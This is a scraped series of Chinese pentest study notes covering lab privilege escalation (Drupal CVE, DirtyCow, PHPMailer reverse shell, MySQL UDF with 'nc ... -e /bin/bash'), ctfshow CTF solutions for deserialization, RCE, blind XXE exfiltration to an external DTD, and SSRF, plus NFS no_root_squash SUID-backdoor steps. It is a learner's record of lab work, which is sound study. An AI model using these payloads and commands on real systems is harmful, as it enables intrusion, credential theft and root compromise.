80端口如上图所示，我用dirsearch进行目录爆破后没有发现任何有价值的信息于是就换个方向去别的端口看看\n3. 发现目标端口样式如上图所示，开始发现登录框想的是先用弱密码进行测试但是没有成功，于是先进行信息收集 可以看到目标使用了cms “Drupal”，于是我们就可以想到去找它的历史CVE看能不能作为突破口\n4.回到kali，可以通过 msfconsole 命令去使用其内置的msf模块去进行历史cve探测： 最终选择以编号为一的CVE作为本次方法 选择后，可以先用 show options 看看具体该怎么去写攻击语句 攻击成功后可以看到拿下了目标的web权限： 虽然uid为33在linux权限已经不错了，但是我们的最终目的是root权限！ 因此我们还需要将自己本地攻击机的提权脚本给上传到目标的服务器上： 后续为了方便对比就又上传了一个文件命名为2.sh 然后在执行的时候发现并没有执行权限，给他们都赋个执行权限即可 再次执行即可看到检测到对方的历史CVE： 后续找到符合的CVE后通过对应的CVE去找EXP利用即可： 这里需要注意的是：拿到需要编译的文件后优先在目标主机上进行编译，如果编译失败再到自己和目标内核差不多的主机上进行编译，因为这是内核溢出，每个人系统都不一样，一点点内核上的差异都有可能导致文件运行失败！ 1.g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil(记得先进入dcow.cpp所在目录) 2.python -c \u0026lsquo;import pty; pty.spawn(\u0026quot;/bin/bash\u0026quot;)\u0026rsquo; 3../dcow\n拿下！\n","date":"2026-10-18T19:34:05+08:00","permalink":"/notes/lab/di-138/%E9%9D%B6%E5%9C%BA%E4%B8%80/","title":"靶场一"},{"content":"先查看kali所在的网段：ifconfig 这次居然不需要输入一些命令启动kali网卡，magic！\n然后用nmap扫描网段的端口：nmap 192.168.11.0/24 进入目标的80端口查看： 通过测试网页上面的功能和进行简单的信息收集发现无任何有价值的信息，然后就用dirsearch尝试去其进行目录爆破： 进行尝试后最终发现其phpmailer和对应版本： 发现后我们就可以利用kali去搜寻它的历史漏洞库了：searchsploit phpmailer 我们这里选用的是40947.py这个漏洞文件 因此先找到它是在哪里再进行查看：find / -name 40974.py 对其py文件进行修改后就可以在本地kali执行nc -lvvp 6666 执行接收反弹回来的shell了 得到对方的web权限 尝试其他提权均无果后就想到做一个权限转移，使用数据库提权。又因为我们现在是web权限，所以可以通过翻找目录来获取root账号密码： 最终锁定在wp-config.php中： 找到数据库密码了 R@v3nSecurity 现在就有面临三种选择，因为通过观察其是mysql数据库，我们都知道mysql数据库正常来说root是禁止外连的，所以我们现在的方法为1.使用sql语句关掉禁止外联的代码 2.工具配合代理提权 3.在其本地直接提权\n我这里就展示两种方法：一种是关闭外联使用本地工具梭哈 另一种是直接在目标靶机进行提权\n先演示第二种：user define function 演示之前先讲一个小知识点：.c 是 C 源码，gcc -shared 把它编译成 .so（动态链接库）。之所以要 .so，是因为 MySQL 的 UDF 机制只能加载动态链接库 —— 你把自己的代码伪装成一个\u0026quot;自定义函数\u0026quot;塞进去，MySQL 一调用它就以自己的权限（常常是 root）执行你的代码。\npython -c \u0026lsquo;import pty; pty.spawn(\u0026quot;/bin/bash\u0026quot;)\u0026rsquo; 然后按照上述步骤跟着萧瑟迪走即可 gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc python -m http.server 8080 cd tmp wget http://192.168.11.130:8080/udf.so 弄好后就来到下阶段步骤： 先登录进去mysql：mysql -uroot -pR@v3nSecurity （值得注意的是这里登录mysql的时候最好给自己起一个bash，否则只反弹shell是进不去的）\n这里又又又又有一个小知识点：在mysql提权中，5.2版本后的提权需要把提权的.so文件导出到固定目录，也就是87代码所示目录：show variables like \u0026lsquo;%plugin%\u0026rsquo;; 知道我们.so文件需要放哪后接着就是通过 show variables like \u0026lsquo;%secure%\u0026rsquo;; 去查看mysql中的secure-file-priv 是否限制了我们，不然我们怎么将.so文件放进插件目录呢？ 发现它这个限制是关的，所以是我们多虑了，那么接下来就可以开始我们的提权了！\ncreate table boqi (line blob); insert into boqi values (load_file(\u0026rsquo;/tmp/udf.so\u0026rsquo;)); select * from boqi into dumpfile \u0026lsquo;/usr/lib/mysql/plugin/udf.so\u0026rsquo;; create function do_system returns integer soname \u0026lsquo;udf.so\u0026rsquo;; select do_system(\u0026rsquo;nc 192.168.11.130 5555 -e /bin/bash\u0026rsquo;); 成功拿到root 下面是演示工具梭哈提权： GRANT ALL PRIVILEGES ON . TO ‘root’@’%’ IDENTIFIED BY ‘R@v3nSecurity’ WITH GRANT OPTION;\n主播破防了，不演示了\n","date":"2026-10-18T19:34:05+08:00","permalink":"/notes/lab/di-141/%E6%95%B0%E6%8D%AE%E5%BA%93%E6%8F%90%E6%9D%83/","title":"数据库提权"},{"content":"嗯，这个靶场比较那啥，反正就是找到路口点特别特别麻烦，所以我就直接跳过找路口点的流程了，从普通用户开始提权到系统也就是root用户，反正我们主要目的也是学习提权嘛。\n算了，还是直接看萧瑟迪操作吧\n","date":"2026-10-06T11:29:02+08:00","permalink":"/notes/lab/di-141/capability%E6%8F%90%E6%9D%83/","title":"capability提权"},{"content":"ctfshow web258\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web258 难度：⭐ 考点：PHP反序列化 日期：2026-10-4 题目描述\r解题思路\r和257是一样的，就是过滤了序列化过来的冒号，改成加号即可。\nPayload / 关键操作\r将序列化过来的冒号改成加号 复现截图\r按上图操作后将参数传过去即可，这里flag的截图就不放了，因为作者这里想偷个懒。\n对应小迪课程章节\rPHP反序列化\n踩坑记录 / 复盘\r无\n","date":"2026-10-04T14:56:49+08:00","permalink":"/notes/ctf/deserialization/web258/","title":"ctfshow web258"},{"content":"ctfshow web257\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web257 难度：⭐⭐ 考点：PHP反序列化 日期：2026-10-3 题目描述\r简单的反序列化，但是和以往不同的是，这次反序列化需要重点利用其魔术方法做题，因为它下面的逻辑都和获取flag不相关。\n解题思路\r1.先观察可能获取flag的地方，发现在backDoor这个类这有个命令执行的操作，就在它的方法getInfo中。然后再分析ctfShowUser这个类时发现它的属性中是定义了class这个对象，只不过这个对象的类是info。因此我们的目标就明确了，在本地调试将这个info改成backDoor，然后再将backDoor这个类的属性code改成我们想要执行的命令，最后配合__destruct()这个魔术方法执行我们的命令。 2.思路明确后就可以开始做题了，先在本地php环境调试出可以执行命令的序列化对象，也就是构造pop链。 3.将序列化后的对象放到靶机的cookie中让其接收，然后通过get传参拿到flag。\nPayload / 关键操作\r2.构造pop链 3.?username=xxxxxx\u0026amp;password=xxxxxx 复现截图\rpop链如下： 3. 获取flag： 对应小迪课程章节\rphp反序列化\n踩坑记录 / 复盘\r无\n","date":"2026-10-04T14:46:30+08:00","permalink":"/notes/ctf/deserialization/web257/","title":"ctfshow web257"},{"content":"ctfshow web256\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web256 难度：⭐ 考点：PHP反序列化 日期：2026-10-3 题目描述\r解题思路\r1.和255差不多的，就是多了一个username不能和password相等，改一下就行了\nPayload / 关键操作\r1.?username=xxxxxx\u0026amp;password=xxxxx 复现截图\rPOP链构造： 复现截图： 对应小迪课程章节\rPHP反序列化\n踩坑记录 / 复盘\r无\n","date":"2026-10-03T23:07:21+08:00","permalink":"/notes/ctf/deserialization/web256/","title":"ctfshow web256"},{"content":"ctfshow web255\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web255 难度：⭐ 考点：PHP反序列化 日期：2026-10-3 题目描述\r一个简单的反序列化代码\n解题思路\r1.很255很像，只是现在由本地创建对象 \u0026mdash;-\u0026gt; 由cookie接收参数为“user”的值并对其进行反序列化然后进行逻辑判断，而这个值显然得是我们自己创建好的对象并序列化后让其反序列化进行接收。 2.目标明确后就可以在本地进行序列化后对象的创建了，我们可以将目标的所有代码copy到本地php环境进行编辑，然后按照其获取flag的要求进行编辑代码，再去掉多余的代码即可（值得注意的是这里给cookie的值需要进行url编码，因为序列化后会有+*等符号干扰）\nPayload / 关键操作\r二.1.赋值给user的值：O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D 2.?username=xxxxxx\u0026amp;password=xxxxxx 复现截图\r本地编辑好的pop链： 复现的截图： 对应小迪课程章节\rphp反序列化\n踩坑记录 / 复盘\r无\n","date":"2026-10-03T22:38:58+08:00","permalink":"/notes/ctf/deserialization/web255/","title":"ctfshow web255"},{"content":"ctfshow web254\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web254 难度：⭐ 考点：PHP反序列化 日期：2026-10-3 题目描述\r一个简单的反序列化\n解题思路\r1.先分析代码（注意！分析的时候也是有讲究的，我们可以从下往上分析，因为我们的最终目的是获取flag，而获取flag的条件通常是在下面，因此上面会有很多没用的代码，我们就可以直接略过上面看下面），首先就是要注意的是它是get接收参数的，然后慢慢分析发现只要你的参数和它类的的属性相同即可获取flag。\nPayload / 关键操作\r?username=xxxxxx\u0026amp;password=xxxxxx 复现截图\r对应小迪课程章节\r反序列化\n踩坑记录 / 复盘\r无\n","date":"2026-10-03T22:09:37+08:00","permalink":"/notes/ctf/deserialization/web254/","title":"ctfshow web254"},{"content":"ctfshow web31\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web31 难度：⭐⭐ 考点：RCE中的“参数逃逸” 日期：2026-8-28 题目描述\r基本将之前的绕过思路全部阻断了\n解题思路\r1.看到没过滤exec，就以为和上题思路一样将内容全部写到自定义文件里面，直到我看到了题目过滤了“.”，那不卡了吗 2.然后就想到了萧瑟迪的一招“参数逃逸”，就是自己创建个参数去执行命令，然后自己创建的参数又不受题目的限制\nPayload / 关键操作\r?c=eval($_GET[1]);\u0026amp;1=system(\u0026#39;tac flag.php\u0026#39;); 复现截图\r2.\n对应课程章节\rRCE命令执行\n踩坑记录 / 复盘\r开始也想过参数逃逸，但是我看到题目实际是过滤了引号的，我以为没有引号就创建不了参数，结果参数是可以以数字形式创建的\n","date":"2026-09-30T22:26:49+08:00","permalink":"/notes/ctf/command-execution/web31/","title":"ctfshow web31"},{"content":"ctfshow web375\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web375 难度：⭐ 考点：XXE(XML声明绕过) 日期：2026-9-10 题目描述\r过滤的XML声明的无回显XXE\n解题思路\r1.直接将声明去掉即可\nPayload / 关键操作\r1. \u0026lt;!DOCTYPE ANY[ \u0026lt;!ENTITY % file SYSTEM \u0026#34;php://filter/read=convert.base64-encode/resource=/flag\u0026#34;\u0026gt; \u0026lt;!ENTITY % remote SYSTEM \u0026#34;http://1.14.182.18/ctfxss/test.dtd\u0026#34;\u0026gt; %remote; %all; ]\u0026gt; \u0026lt;root\u0026gt;\u0026amp;send;\u0026lt;/root\u0026gt; 复现截图\r带外查询脚本： 对应课程章节\rXXE注入\n踩坑记录 / 复盘\r1.其实还有种玩法，因为它的正则只是匹配这个头的标准写法：\u003c?xml version=\"1.0\"?\u003e 而不是过滤了这个头里面的单一元素，也就是它过滤的是这个整体。那我直接用不标准写法不就行了，比如在\u0026lt;?xml 这后面多加一个空格即可\n","date":"2026-09-30T21:55:49+08:00","permalink":"/notes/ctf/xxe/web375/","title":"ctfshow web375"},{"content":"ctfshow web374\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web374 难度：⭐⭐ 考点：XXE（php://filter） 日期：2026-9-9 题目描述\r根据题意是个无回显的XXE\n解题思路\r1.可以先通过配合dnslog带外查询判断是否是存在XXE漏洞只是无回显 2.直接通过带外查询获取flag\nPayload / 关键操作\r1. \u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE ANY [ \u0026lt;!ENTITY file SYSTEM \u0026#34;http://u4bh1c.dnslog.cn\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;web373\u0026gt;\u0026lt;ctfshow\u0026gt;\u0026amp;file;\u0026lt;/ctfshow\u0026gt;\u0026lt;/web373\u0026gt; 2. \u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE ANY[ \u0026lt;!ENTITY % file SYSTEM \u0026#34;php://filter/read=convert.base64-encode/resource=/flag\u0026#34;\u0026gt; \u0026lt;!ENTITY % remote SYSTEM \u0026#34;http://1.14.182.18/ctfxss/test.dtd\u0026#34;\u0026gt; %remote; %all; ]\u0026gt; \u0026lt;root\u0026gt;\u0026amp;send;\u0026lt;/root\u0026gt; 复现截图\r1.这里就不放截图了，反正是有回显的 2. 配合带外查询的脚本代码：\n对应课程章节\rXXE\n踩坑记录 / 复盘\r1.在获取flag的过程中最好用php:filter去获取，因为如果对方flag文件是php的话你获取的数据是浏览器解析php脚本后的数据，也就是什么都没有，得先将其转化成base64\n","date":"2026-09-30T21:44:05+08:00","permalink":"/notes/ctf/xxe/web374/","title":"ctfshow web374"},{"content":"ctfshow web354\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web354 难度：⭐ 考点：SSRF(域名解析指向本地地址) 日期：2026-9-22 题目描述\r题目的正则过滤了localhost，1，0。且是POST提交表单。\n解题思路\r1.看到这个题目直接去想萧老师给的四个焚决一个一个去想能不能成功即可1.短网址绕过 2.进制转换 3.域名解析指向本地ip 4.3xx重定向绕过。在试的时候你会发现1和2绑定本地ip后都会出现1或者0的字符，因此是无法绕过的，只能往3和4去想，其实3和4都可以成功的，我这里先将3该怎么做（本人在用方法4的时候总是出错，一直再想原因） 2.你可以自己去买个域名，让其a记录指向的是127.0.0.1，这样让对方去访问http://你的域名/flag.php就正好不会出现正则的字符；当然，如果你不想花钱的话，这里也是有几个自带的域名是指向本地127.0.0.1的：http://localtest.me/\nhttp://vcap.me/\n[http://lvh.me/（Laravel开发常用，指向127.0.0.1）]\nPayload / 关键操作\r1.url=http://localtest.me/flag.php 复现截图\r2.\n对应课程章节\rSSRF服务端请求伪造\n踩坑记录 / 复盘\r为什么3xx重定向无法成功： PHP CLI 没装 curl 扩展（脚本没跑成），但命令行演示更清楚，直接把结论摆出来了：\n复制\n$ curl http://127.0.0.1/ctfboqi/flag.php ← 默认 最终状态码=302 跳转次数=0 下载字节=12 $ curl -L http://127.0.0.1/ctfboqi/flag.php ← -L = 开启跟随 最终状态码=200 跳转次数=1 下载字节=77 最终URL=http://127.0.0.1/flag.php 同一个 URL，只差一个 -L，行为天差地别。下面说为什么。\n一、协议层面：3xx 只是一个\u0026quot;完整的响应\u0026quot;，不是一个\u0026quot;自动动作\u0026quot;\rHTTP 规定 302 的含义是\u0026quot;资源搬到那儿了\u0026quot;，这是给客户端的一条建议（MAY），不是协议强制的机制。跟不跟，纯粹是客户端的策略选择。\n从底层库的视角看，一次请求就是\u0026quot;我发一个 URL，你回一个响应\u0026quot;，收到 302 也算任务完成了。\n二、libcurl 的选择：默认不跟（CURLOPT_FOLLOWLOCATION 默认 0）\r这是刻意的设计，理由很硬：\n安全 —— 如果默认跟随，那\u0026quot;我校验过的 URL\u0026quot;就决定不了最终去向了：一个 open redirect 就能把你的请求带到任意地址。这正是 SSRF 白名单绕过的经典场景，也是真实漏洞里最常见的成因之一（CURLOPT_FOLLOWLOCATION=1 且没校验跳转目标 = SSRF 绕过）。底层库把控制权交给调用者。 可预测 / 透明 —— 调用方能拿到真实的 3xx 响应头，自己决定下一步。 不偷偷放大请求 —— 跟随会把 1 个请求变成 N 个（跳转链可能很长甚至成环），涉及限速、超时、DNS 重解析。 兼容性 —— 这个选项是后来加的，改默认值会破坏已有程序。 三、对比一下：别的客户端默认都是跟的\r客户端 默认跟不跟 浏览器 ✅ 跟（约 20 跳上限） PHP file_get_contents ✅ 跟（follow_location=1，最多 20 跳） Python requests ✅ 跟（allow_redirects=True） Go http.Client ✅ 跟（默认 10 跳） Node fetch ✅ 跟 libcurl / curl 命令 / PHP curl 扩展 ❌ 不跟 curl 在这里是\u0026quot;异类\u0026quot;，但这是它作为底层工具的定位决定的。顺带一提，这也是为什么同样一段\u0026quot;跟随跳转\u0026quot;的逻辑，用 file_get_contents 写就是另一个安全故事。\n四、为什么你看到的是\u0026quot;什么都没发生\u0026quot;而不是报错\r三个因素叠加，把 302 这件事完全藏起来了：\n因素 后果 CURLOPT_HEADER = 0 响应头不进 $result —— 而 302 的关键信息 Location 就在头里，被丢掉了 PHP 的 header(\u0026quot;Location:...\u0026quot;) 只发头不发 body $result 是空字符串 echo($result) 输出空 → 页面看着毫无变化 所以你既看不到 302，也看不到 Location，也看不到任何提示 —— 就是一片空白。\n建议你现在做个实验（你 ctfboqi 下的 flag.php 已经有 echo \u0026quot;REDIRECT_HIT\u0026quot; 了）：提交 url=http://www.guitarhero.wang/ctfboqi/flag.php，页面应该会显示 REDIRECT_HIT。这就等于亲眼看到\u0026quot;请求到了、302 收到了、但没往下走\u0026quot; —— 这 12 个字节正是 $result 的全部内容。\n五、如果要在代码里开，正确写法\rphp\n复制\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 开启跟随 curl_setopt($ch, CURLOPT_MAXREDIRS, 3); // 默认 30，防跳转链/环 而且开了也不是\u0026quot;随便跳\u0026quot;：还有 CURLOPT_MAXREDIRS（默认 30 跳上限）和 CURLOPT_REDIR_PROTOCOLS（默认禁止跳到 file:// 之类协议）两道限制。\n六、回到你这道题\r结论：不要想办法\u0026quot;让它跟\u0026quot;，而是想办法\u0026quot;一次请求就直接打到 127.0.0.1\u0026quot;。\n因为过滤只禁了 localhost 和数字 0、1（这点已经被日志证实 —— 题目的请求确实打到你服务器了），所以：\n复制\nurl=http://lvh.me/flag.php # lvh.me → 127.0.0.1（我实测） url=http://localtest.me/flag.php # localtest.me → ::1（我实测） 这两个域名里一个 0 和 1 都没有，能过正则，而且解析到本机 → 一次请求直达，绕过了整整一圈重定向的麻烦。\n防守视角顺带记一句：要防 SSRF 又想跟随跳转，就必须对每一跳重新做白名单校验 —— 很多防护失效就是因为只校验了第一跳。像这道题一样干脆不跟随，反而是最省心的写法。\n","date":"2026-09-22T17:15:41+08:00","permalink":"/notes/ctf/ssrf/web354/","title":"ctfshow web354"},{"content":"NFS 挂载可行性判定：没限制 IP 就能连吗？\r我的原问题：\u0026ldquo;就是说如果对方开了 nfs 挂载了某目录且没用限制 ip，我可以直接去连接它这个挂载目录吗？\u0026rdquo;\n结论先行\r\u0026ldquo;没限制 IP\u0026quot;只保证了\u0026quot;我能挂载\u0026quot;这一步。\n挂载之后能读什么、能写什么、能不能提权 —— 取决于另外两个独立的条件：\nUID 是否匹配（决定读写权限；但你能伪造 UID） 是否 no_root_squash（决定能不能造 root 属主的 SUID 文件） 一、分四个层次看（逐层解锁）\r层次 需要什么条件 能不能做到 ① 挂载 exports 允许你的 IP（*）+ 2049 通 + 本地有 root ✅ 能 ② 读文件 文件的权限位允许你的 UID 访问 ⚠️ 看 UID 匹配 ③ 写文件 exports 里是 rw（不是 ro）+ 目录权限允许 ⚠️ 看配置 ④ 提权 no_root_squash ⚠️ 默认没有（多数人卡在这） 关键：这四层是独立的！最常见的情况是——能挂载、能读、但不能提权。\n二、核心：NFS 判断权限只看 UID 数字\r你挂载后访问文件时: 客户端把你的【本地 UID】放进请求 → 服务器按这个 UID 查权限 （服务器不看用户名,只认数字） 情况 结果 你的 UID == 文件属主 UID ✅ 按属主权限（可读可写） 你的 UID 在文件属组 ⚠️ 按组权限 都不匹配 按\u0026quot;其他用户\u0026quot;权限（通常只能读，或啥都不能） ⚠️ 但你能伪造 UID（UID 欺骗攻击）\r# 1. 看共享目录里的文件属主 UID（-n 显示数字） ls -n /mnt/nfs # 输出: -rw-r--r-- 1 1000 1000 ... notes.txt # ↑ 属主 UID = 1000 # 2. 在 Kali 上创建一个同 UID 的用户 sudo useradd -u 1000 -M fakeuser sudo su fakeuser # 切换到 UID 1000 # 3. 现在你就是 UID 1000 → 能访问那个文件了 ls -la /mnt/nfs 💡 实战技巧：Kali 默认用户 kali 的 UID 就是 1000，而目标机器上的普通用户也常是 1000 → 很多情况下不用伪造就直接能读写。这也是 NFS 提权常见的原因之一。\n三、实战操作命令（从探测到判定）\r# ===== 第1步：探测共享 ===== showmount -e 192.168.1.100 # 输出: # Export list for 192.168.1.100: # /home/user * # ↑ * = 允许任何IP访问 ✅ # 或者用 nmap 脚本（能看到更多信息） nmap -p 2049 --script nfs-showmount,nfs-ls 192.168.1.100 # ===== 第2步：挂载（需要本地 root）===== sudo apt install -y nfs-common # 装 NFS 客户端工具(Debian/Kali) sudo mkdir -p /mnt/nfs sudo mount -t nfs 192.168.1.100:/home/user /mnt/nfs -o nolock # 验证挂载 df -h | grep nfs ls -la /mnt/nfs # ===== 第3步：判断能干什么 ===== # ① 读权限 cat /mnt/nfs/*.txt 2\u0026gt;/dev/null # ② 写权限测试 touch /mnt/nfs/test_write \u0026amp;\u0026amp; echo \u0026#34;可写 ✅\u0026#34; \u0026amp;\u0026amp; rm /mnt/nfs/test_write # ③ ★关键：看造出来的文件属主是谁 touch /mnt/nfs/whoami_test ls -n /mnt/nfs/whoami_test # 属主 0 → root → no_root_squash ✅ 可提权! # 属主 65534 → nobody → root_squash(默认) ❌ 不能提权 rm /mnt/nfs/whoami_test 四、结果判读表（照这个决定下一步）⭐\r挂载结果 写测试 造的文件属主 结论与下一步 ✅ 成功 ❌ 只读 — 不能提权，但能读文件 → 翻 .ssh/、.bash_history、配置 ✅ 成功 ✅ 可写 nobody 不能提权（root_squash），但能投毒普通用户文件 ✅ 成功 ✅ 可写 root ⭐ 能提权 → 放 SUID bash ❌ 挂载失败 — — IP 不匹配 / 服务没起 / 端口被防火墙拦 五、⚠️ 别小看\u0026quot;只能读\u0026quot;的情况\r即使不能提权，能读共享目录常常就够用了：\n翻到什么 怎么用 .ssh/id_rsa ⭐ 直接 ssh -i id_rsa user@目标 登录（不需要任何 shell） .ssh/authorized_keys 如果可写 → 写自己的公钥进去 → SSH 免密登录 .bash_history 常含 mysql -u root -p密码、ssh 命令 → 直接拿密码 .git/config / 源码 仓库地址、硬编码凭据 config.php / .env 数据库密码 → 复用登数据库 /etc/shadow（如果共享了 /etc） 密码哈希 → 拿去爆破 备份文件 .bak / .zip 里面可能有更多凭据 私钥文件 .pem / .key 云主机/服务证书 实战中\u0026quot;读到 SSH 私钥\u0026quot;往往比\u0026quot;SUID 提权\u0026quot;更快 —— 直接登录，还不用写文件。\n# 看到私钥就试试(注意权限要600) chmod 600 /mnt/nfs/.ssh/id_rsa ssh -i /mnt/nfs/.ssh/id_rsa user@192.168.1.100 六、完整流程图（一张图记住）\r┌─────────────────────────────────────────┐ │ ① showmount -e 目标IP │ │ → 发现共享 /home/user * │ └───────────────┬─────────────────────────┘ ↓ ┌─────────────────────────────────────────┐ │ ② sudo mount -t nfs 目标:/home/user /mnt/nfs │ │ → 挂载成功（不需要目标机器任何权限！） │ └───────────────┬─────────────────────────┘ ↓ ┌─────────────────────────────────────────┐ │ ③ 检查三件事： │ │ · 能读吗？ → 翻敏感文件 │ │ · 能写吗？ → touch 测试 │ │ · ★写的文件属主是谁？ │ │ root → 可提权 ⭐ │ │ nobody → 不可提权 │ └───────────────┬─────────────────────────┘ ↓ ┌───────────────┴─────────────────────────┐ ↓ ↓ 【能提权】放 SUID 后门 【不能提权】翻文件 cp /bin/bash /mnt/nfs/rootbash cat .ssh/id_rsa chmod u+s /mnt/nfs/rootbash cat .bash_history ↓ ↓ 回目标机器执行 SSH 登录 / 拿到密码 /home/user/rootbash -p 七、常见问题\r问题 原因与解决 mount: access denied exports 没允许你的 IP，或权限不足（要用 sudo） mount: RPC: Timed out 2049 被防火墙拦 / 服务没起 挂载成功但 ls 报 Permission denied UID 不匹配 → 试 UID 欺骗 能读但 touch 报错 exports 是 ro（只读） 造的文件属主是 nobody root_squash（默认）→ 提权不了，转去翻文件 mount.nfs: requested NFS version not supported 加 -o vers=3 或 vers=4 指定版本 一句话总结\r\u0026ldquo;没限制 IP\u0026quot;只保证\u0026quot;能挂载\u0026rdquo;。挂载之后：\n能读 → 取决于 UID 匹配（可伪造 UID，Kali 默认就是 1000） 能写 → 取决于 rw / ro 能提权 → 取决于 no_root_squash（默认没有） 实战顺序永远是：挂载 → 测可写 → 看造出来文件的属主 → 是 root 就走提权，是 nobody 就转去翻文件（找私钥/密码）。\n相关联想\r挂载不需要目标权限，所以 NFS 常被用作初始访问手段（读私钥）而不只是提权 Kali 默认 UID 1000 与目标普通用户 UID 一致 → 直接可读的概率很高 nolock 参数：避免依赖 rpc.lockd 服务 相关笔记： NFS提权原理（基础篇）.md NFS提权理解修正（进程继承还是文件属主）.md ","date":"2026-09-21T10:55:40+08:00","permalink":"/notes/privesc/nfs%E6%8C%82%E8%BD%BD%E5%8F%AF%E8%A1%8C%E6%80%A7%E5%88%A4%E5%AE%9A%E6%B2%A1%E9%99%90%E5%88%B6ip%E5%B0%B1%E8%83%BD%E8%BF%9E%E5%90%97/","title":"NFS 挂载可行性判定：没限制 IP 就能连吗？"},{"content":"NFS 提权理解修正：是\u0026quot;文件属主\u0026quot;不是\u0026quot;进程继承\u0026quot;\r我的原话（完整保留）：\n\u0026ldquo;就是说只要对方开了 nfs 服务且我在对方机器上有个进程权限我就可以尝试去挂载一个目录和我本地机器进行连接，然后我本地机器（root）弄的 root 进程到这个挂载目录在对方机器上也会继承这个 root\u0026rdquo;\n我的原始理解（记录在案）：\n我以为条件只是\u0026quot;对方开了 NFS 服务\u0026quot; 我以为必须\u0026quot;在对方机器上有个进程权限\u0026quot;才能挂载 我以为机制是\u0026quot;我本地的 root 进程在对方机器上继承了 root\u0026quot; ← 这个心模型是错的 结论先行：三处需要精确化\r我的说法 精确化 \u0026ldquo;只要对方开了 NFS 服务\u0026rdquo; ⚠️ 不够：还需要 可写(rw) + no_root_squash + IP 允许，四个条件缺一不可 \u0026ldquo;我在对方机器上有个进程权限\u0026rdquo; ❌ 不是必需：挂载不需要任何目标权限；有 shell 只是\u0026quot;执行 SUID 后门\u0026quot;的前提 \u0026ldquo;root 进程在对方机器上也会继承 root\u0026rdquo; ❌ 表述错误：不是\u0026quot;进程继承\u0026quot;，而是\u0026quot;文件的属主被记录为 root\u0026quot; 一、纠正 ①：条件不止\u0026quot;开了服务\u0026quot;\r# /etc/exports 必须写成这样才可提权: /shared *(rw, sync, no_root_squash) ↑ ↑ ↑ │ │ └─ ★ 关键:不降级root │ └─ 可写(不能是 ro) └─ 允许你的IP(不能是限定别的IP) 条件 缺了会怎样 服务开着 连不上 rw（可写） 只能读，不能放文件 no_root_squash 你造的文件属主变成 nobody → SUID 失效 IP 允许 mount 被拒绝 实战现实：大部分 NFS 用的都是默认的 root_squash → 提权打不了，但读文件（找私钥）仍然可行。\n二、纠正 ②：\u0026ldquo;有进程权限\u0026quot;不是必需的\rNFS 有两种完全不同的用法：\n用法 需要已有 shell 吗 说明 A. 提权 ✅ 需要 放 SUID 后门后，要回目标机器执行它 B. 初始访问 ❌ 不需要 挂载后直接读敏感文件：\n• .ssh/id_rsa（SSH 私钥）→ ssh -i 登录\n• .bash_history（历史命令里的密码）\n• 配置文件里的数据库密码 实战常见顺序：\n1. 扫到 2049 开放 → showmount -e 2. 挂载共享目录（不需要任何目标权限！） 3. 翻到 .ssh/id_rsa → 直接 SSH 登录（跳过提权，直接拿shell） 或者 放 SUID 后门 → 等你后面拿到低权限 shell 再执行 三、纠正 ③（核心）：不是\u0026quot;进程继承\u0026rdquo;，而是\u0026quot;文件属主按 UID 记录\u0026quot;\r❌ 错误心智模型\r\u0026#34;我的 root 进程通过 NFS 到对方机器上运行,继承了 root 权限\u0026#34; ↑ 这个模型是错的! ✅ 正确机制\rNFS 传输的是\u0026quot;文件操作请求 + 操作者的 UID\u0026quot;，服务器按 UID 处理，并按 UID 记录文件属主。\n【你的 Kali】 【目标服务器】 你的进程: UID=0 (root) ★ 没有\u0026#34;你的进程\u0026#34;在服务器上跑! │ │ 执行: cp /bin/bash /mnt/nfs/rootbash │ └── NFS客户端发出请求 ────────────────→ 收到请求: \u0026#34;以 UID=0 的身份, 创建文件 \u0026#39;rootbash\u0026#39;\u0026#34; 检查 /etc/exports: ├─ root_squash → 把UID 0 改成 65534(nobody) └─ no_root_squash → 保持 UID 0 ✅ 创建文件,【属主记录为 UID 0】 → 服务器上显示: root root 关键区分\r错误理解 ❌ 正确理解 ✅ \u0026ldquo;我的 root 进程在对方机器上运行\u0026rdquo; 你的进程从来不在对方机器上跑 \u0026ldquo;进程继承了 root 权限\u0026rdquo; 你只是在对方磁盘上创建了文件 — 那个文件的属主被记录为 root — 然后你在目标机器上执行这个文件 → 因为属主 root + SUID → 以 root 运行 类比：\n❌ 错误理解: \u0026#34;我派人去对方公司当老板\u0026#34; ✅ 正确理解: \u0026#34;我（外来访客）在对方公司的储物柜里放了个文件, 因为保安不查证件(no_root_squash), 这个文件被登记成\u0026#39;老板专属\u0026#39;并盖了万能章(SUID), 然后对方公司的人拿这个文件去办事 → 就按老板权限办了\u0026#34; 四、两段式流程（准确的心智模型）⭐\r════════ 【第一段：造文件】发生在你的 Kali 上 ════════ （你的 root 进程在本地运行） cp /bin/bash /mnt/nfs/rootbash chmod u+s /mnt/nfs/rootbash ↓ NFS 协议传输（请求里带着 UID 0） 目标服务器磁盘上出现： 文件: rootbash 属主: root (UID 0) ← 因为 no_root_squash 没有降级 权限: rwsr-xr-x ← SUID 位 ════════ 【第二段：执行文件】发生在目标机器上 ════════ （用你已有的 www-data shell） /home/user/rootbash -p 